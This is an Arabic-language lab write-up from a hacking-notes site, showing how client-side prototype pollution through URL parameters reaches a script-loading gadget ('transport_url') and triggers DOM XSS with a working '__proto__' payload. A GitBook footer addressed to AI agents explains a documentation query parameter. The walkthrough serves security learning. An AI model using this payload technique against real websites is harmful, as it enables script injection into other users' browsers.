> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md).

# XSS في DOM عبر تلوث البروتوتايب على جانب العميل

#### ثغرة XSS في DOM عبر تلويث النموذج الأولي من جهة العميل

#### سياق المختبر

التطبيق عرضة لـ **XSS في DOM** تُفعَّل بواسطة **تلويث النموذج الأولي** (من جهة العميل). / الغرض: **تلويث `Object.prototype`** مع خاصية مفيدة، اعثر على **أداة استغلال** في JavaScript الذي يعالجه، ثم شغّل `alert()`.

### 1) ملاحظة تلويث النموذج الأولي

#### مصدر التلويث (في عنوان URL)

يمكن حقن الخصائص في `__proto__` عبر المعاملات:

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

#### التحقق في وحدة التحكم

بعد الانتقال، يتم التحقق من أن الخاصية "fail" موجودة في جميع الكائنات:

```javascript
console.log({}.foo)
```

<figure><img src="/files/e05dcf74ca519d4055a0a9dd2bd4b4f3f7cb7465" alt="" width="563"><figcaption></figcaption></figure>

### 2) الشفرة الضعيفة من جهة العميل

يحتوي الموقع على منطق

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("فشل حفظ الاستعلام");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

النقطة الأساسية: يقرأ الكود **`config.transport_url`** ويستخدمه كـ **مصدر لـ `<script>`**.

### 3) الأداة القابلة للاستغلال المحددة

#### أداة استغلال

* `config.transport_url`

#### لماذا هذا خطير

إذا `transport_url` موجودة (حتى عبر النموذج الأولي)، فإن البرنامج النصي يقوم بما يلي:

* إنشاء `<script>`
* `script.src = config.transport_url`
* دمج في DOM

وبذلك يمكننا إجبار المتصفح على تحميل برنامج نصي من عنوان URL نتحكم به.

### 4) التنفيذ: تفعيل XSS

#### الحمولة (تلويث + تنفيذ)

`Object.prototype.transport_url` يتم تلويثه بـ `data:` عنوان URL ينفذ `alert(1)`:

```javascript
?__proto__[transport_url]=data:,alert(1)
```

<figure><img src="/files/34b3dee6da36eaa328ecab66ce889800b3d246ab" alt=""><figcaption></figcaption></figure>

#### الأثر الجانبي في DOM

ينتهي الكود إلى توليد ما يعادل:

```javascript
<script src="data:,alert(1)"></script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
